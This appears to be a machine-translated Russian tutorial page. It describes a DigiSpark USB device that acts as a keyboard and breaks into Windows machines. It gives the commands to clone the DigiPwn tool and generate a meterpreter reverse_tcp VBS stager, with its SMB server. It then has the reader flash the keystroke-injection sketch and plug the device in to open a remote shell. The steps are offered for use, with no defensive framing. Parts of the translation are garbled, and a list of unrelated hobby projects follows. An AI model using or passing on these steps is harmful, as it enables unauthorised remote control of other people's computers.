
Оглавление:
2025 Автор: John Day | [email protected]. Последнее изменение: 2025-01-23 15:05


Так что мы здесь делаем?
DigiSpark - это небольшой инструмент разработки на базе Arduino, который может действовать как ввод с клавиатуры HID. Сегодня мы манипулируем этим устройством, чтобы проникнуть в операционную систему Windows!
Запасы
IDE Arduino
Windows машина
DigiSpark
Metasploit Framework
Python 2.7 (Примечание: вам нужен Python 2.7, не подходите для других версий)
удар
Головной мозг! Это помогает
Шаг 1. Клонируйте репозиторий DigiPwn

Клонировать DigiPwn в репозиторий GitHub с помощью
git clone
Теперь смените каталог на DigiPwn с помощью
cd DigiPwn /
Шаг 2. Установите Impacket [модули, необходимые для Python]
Этот модуль необходим для запуска SMB-сервера, необходимого для библиотеки полезной нагрузки.
sudo apt-get install python-impacket
Или вы можете скачать библиотеку impacket и установить ее отсюда.
Шаг 3: Сгенерируем полезную нагрузку


Запустить
python DigiPwn.py [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [формат]
бывший
python DigiPwn.py 192.168.1.2 8080 окна / meterpreter / reverse_tcp win.vbs win.vbs
Теперь вас спросят, запускать ли stager и SMB-сервер. Нажмите y и нажмите Enter
Шаг 4: Теперь загрузите код в Arduino

Перед загрузкой нам нужно убедиться, что плата DigiSpark установлена в Arduino, чтобы сделать это, посмотрите здесь.
после этого загрузите сгенерированный скриптом файл keystroke_inject.ino. После этого вы готовы к
Шаг 5: Пора подключать ребенка

Подключите DigiSpark сейчас и подождите 10 секунд.
БУМ Открыта сессия meterpreter!
Рекомендуемые:
Дизайн игры в Flick за 5 шагов: 5 шагов

Дизайн игры в Flick за 5 шагов: Flick - это действительно простой способ создания игры, особенно чего-то вроде головоломки, визуального романа или приключенческой игры
Счетчик шагов - Micro: Bit: 12 шагов (с изображениями)

Счетчик шагов - Микро: Бит: Этот проект будет счетчиком шагов. Мы будем использовать датчик акселерометра, встроенный в Micro: Bit, для измерения наших шагов. Каждый раз, когда Micro: Bit трясется, мы добавляем 2 к счетчику и отображаем его на экране
Играйте в Doom на своем IPod за 5 простых шагов !: 5 шагов

Играйте в Doom на своем IPod за 5 простых шагов!: Пошаговое руководство по двойной загрузке Rockbox на iPod, чтобы играть в Doom и десятки других игр. Это действительно легко сделать, но многие люди до сих пор удивляются, когда видят, как я играю дум на своем iPod, и путаются с инструкциями
Кормушка для рыбы Arduino Uno за 6 простых и простых шагов !: 6 шагов

Arduino Uno Fish Feeder за 6 простых и дешевых шагов !: Итак, для этого проекта может потребоваться немного предыстории. Людям с домашними рыбками, вероятно, приходилось сталкиваться с той же проблемой, что и мне: отпуск и забывчивость. Я постоянно забывала покормить рыбу и всегда старалась это сделать, пока она не упала
Акустическая левитация с Arduino Uno, шаг за шагом (8 шагов): 8 шагов

Акустическая левитация с Arduino Uno Пошаговая инструкция (8 шагов): ультразвуковые преобразователи звука L298N Женский адаптер питания постоянного тока с штыревым контактом постоянного тока Arduino UNOBreadboard Как это работает: сначала вы загружаете код в Arduino Uno (это микроконтроллер, оснащенный цифровым и аналоговые порты для преобразования кода (C ++)